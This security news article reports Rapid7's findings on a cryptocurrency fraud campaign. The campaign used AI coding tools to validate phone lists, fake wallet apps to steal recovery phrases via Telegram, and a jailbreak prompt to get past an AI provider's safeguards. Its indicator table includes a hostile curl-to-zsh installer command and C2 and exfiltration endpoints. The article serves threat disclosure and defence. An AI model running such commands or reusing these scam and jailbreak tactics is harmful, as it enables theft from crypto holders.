Crypto Scammer Uses Claude Code to Process 100,000+ Phone Numbers for Victim Targeting

A cryptocurrency fraud operation has been found using AI coding tools to turn huge phone lists into a sharper victim-targeting system.

The campaign combined account checks, phishing emails, phone calls, and counterfeit wallet software to pursue people likely to own digital assets.

The operation, tracked as Operation ASTERIX, exposed an unusually complete view of a scammer’s workspace.

Its server held raw contact lists, lead databases, email panels, calling tools, and fake applications.

Analysts at Rapid7 identified the activity after finding an exposed web directory used by the operators.

Rapid7 said in a report shared with Cyber Security News (CSN) that the evidence suggests a targeted operation in which each channel reinforced the next, making an apparent support request seem credible.

The impact goes beyond one stolen-wallet lure. By validating account ownership before outreach, the actor could avoid random cold calls and concentrate effort on people with a likely exchange or hardware-wallet connection.

Crypto Scammer Uses Claude Code

The server contained about 885,000 phone numbers from several regions, including a file with 316,002 German mobile numbers. It also held lists tied to Hong Kong, Bulgaria, the UK, the US, and Canadian financial services.

The operator used account-checking tools to test whether numbers belonged to cryptocurrency-platform users.

In one German dataset, the tooling confirmed 43,066 accounts, roughly 13.6 percent of the 316,002 numbers checked.

Those matches became richer profiles with names, email addresses, locations, and account details. Claude Code played a practical role in that workflow.

Recovered session logs show the operator asking it to clean and format a file of more than 100,000 Polish phone numbers, add country prefixes, and manage checking scripts connected to proxy pools.

The exposed materials showed AI being used throughout development, rather than only to create isolated code.

The wider pattern mirrors fake Claude Code installer attacks, where convincing documentation pages turn routine software searches into a route for malicious downloads.

The researchers also found that the actor used AI assistants for packaging Electron applications, modifying phishing infrastructure, troubleshooting builds, and attempting code obfuscation.

When Claude resisted help with parts of the wallet-malware workflow, the operator moved to another provider and submitted a custom jailbreak prompt designed to weaken safety controls.

Phishing calls amplify wallet theft

After creating enriched leads, the actor used branded email panels to generate bogus support cases and verification codes.

A follow-up call could cite the same details, giving the caller a persuasive way to impersonate support staff.

This technique follows the familiar pattern of phone calls delivering malware but applies it to cryptocurrency theft.

The calling environment included Asterisk and scripts for outbound dialing. Investigators did not recover enough call logs to rebuild every interaction, but one panel recorded 20 successful lead lookups and six phishing emails over about two weeks.

That points to deliberate targeting rather than indiscriminate mass calling. Victims were directed to counterfeit applications styled as Trezor Suite, Ledger Live, or Exodus.

The fake Trezor program waited for the genuine application to open, terminated it, and showed a lookalike recovery-phrase screen.

It asked for a 12-, 18-, 20-, or 24-word phrase and could send the result, passphrase, and victim IP address to Telegram.

A separate fake Claude Code site offered a trojanized installer that deployed a hidden Ledger Live lookalike before launching the legitimate Claude installer.

Such layered deception resembles malicious Claude Code ads, which rely on trusted-looking setup instructions to get users to run attacker-supplied commands.

Users should treat unexpected support emails, verification codes, and follow-up calls as related warning signs, not independent proof of legitimacy.

Wallet providers and exchanges do not need a recovery phrase to secure an account.

Download applications only from a verified official source, confirm a caller through an independently obtained contact channel, and never paste a terminal command supplied by an ad or unfamiliar webpage.

These precautions also help against counterfeit wallet delivery schemes, where a polished interface conceals credential theft.

Indicators of Compromise (IoCs):-

Type	Indicator	Description
SHA-256	ba9d459169a303067a4fe36c8b8582a5ea023b9c270dafe89613bab840501b19	Shared app.asar payload across all three counterfeit Trezor builds
SHA-256	918fa540126b7db6424652d84a5ce7e968947136db3d6e3e0cab30ea309e25a2	Declared macOS integrity hash, reported as mismatched
SHA-256	961a398a5c71e837626b5fce68e44b14a5d220e3bd74a3d0ecd61a2762c38176	Trezor Suite.exe Windows build
SHA-256	7073b2a3a34525c5969921dd17ef1fa5607af92be78b3fc6129cdea73216691a	macOS launcher for Arm64
SHA-256	0f2c7194f1f577e73460db9ec2e75fc0c7f845588cbd4246333b7a4fbec90d9f	macOS launcher for x64
SHA-256	4bee9affff9fa718a2c94f02ebe6a75143d4d461d291c2df9b769920fc927bf8	kraken_checker tool
Telegram chat ID	8017226744	Operator Telegram chat identifier
Telegram bot token	8682890653:AAG9…	Desktop bot token, truncated in source material
Telegram bot token	8673815706:AAEs…	Web kit bot token, truncated in source material
LaunchAgent label	com.trezormovement.agent	macOS persistence label written at runtime
LaunchAgent label	io.trezor.agent	Bundled macOS persistence label
Install directory	~/Library/Application Support/Trezor SuiteFake/	Counterfeit Trezor application directory
Dropped file	/tmp/trezor-suite-debug.log	Trezor-related debug log
Dropped file	/tmp/trezor-monitor.log	Trezor monitor log
Dropped file	/tmp/trezor-payload.zip	Trezor payload archive
Local listener	127.0.0.1:54322	Local listener used by an older build
Exfiltration marker	TREZOR SECRET PHRASE	Fixed string included in Telegram exfiltration messages
Bundle identifier	com.electron.trezor-suite / 1.0.0	Fake Trezor application identifier and version
IP address	82.25.35.77	Infrastructure host referenced in MITRE mapping
IP address	82.25.35.200	Infrastructure host referenced in MITRE mapping
IP address	31.57.35.88	Infrastructure host referenced in MITRE mapping
C2 endpoint	http://136.0.213.184:1337/api/kraken-numio	Kraken checker command-and-control endpoint
Exfiltration endpoint	api.telegram.org	Telegram Bot API used for recovery-phrase exfiltration
IP lookup endpoint	api.ipify.org	Service queried to collect victim public IP addresses
Compromised site	https://atechservicecentre.co.uk/	Possible compromised website identified by researchers
Phishing domain	macos-claude[.]com	Fake Claude Code documentation and installer site
Phishing domain	ledger[.]com[.]lv	Ledger-themed phishing page
Phishing domain	ledgerhelp[.]com	Ledger-themed phishing page
Beacon domain	xcjnrucne9xfvmci[.]com	Campaign beacon domain
Phishing domain	36mcrypto[.]com	Cryptocurrency phishing page
Malicious download command	curl -sfSL http://redacted:8080/install.sh | zsh	Malicious installer execution command, host redacted in source
File name	LedgerLiveSetup.exe	Windows counterfeit Ledger build
File name	LedgerLive-macOS-Clean.zip	macOS Ledger build before obfuscation
File name	LedgerLive.dmg	macOS counterfeit Ledger build
File name	Ledger.zip	Ledger kit archive
LaunchAgent path	~/Library/LaunchAgents/com.ledger.live.agent.plist	Ledger Live macOS persistence file
LaunchAgent path	~/Library/LaunchAgents/com.exodusmovement.agent.plist	Exodus-themed macOS persistence file
LaunchAgent path	~/Library/LaunchAgents/io.trezor.agent.plist	Trezor-themed macOS persistence file
Hidden directory	~/Library/Application Support/.SystemData/.framework/.apps/	Hidden counterfeit Ledger deployment directory
SMTP infrastructure	smtpdm-ap-southeast-1[.]aliyun[.]com:465	Outbound email infrastructure
Domain	ses-noreply[.]com	Campaign email-related domain
File name	extract_sg_numbers.py	Singapore phone-number extraction script
File name	start_sg_panel.sh	Panel launcher script
File name	sg_leads_server.py	Lead-management server script

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Stop new phishing & malware before they compromise your business. Integrate live intel from 15K SOCs around the world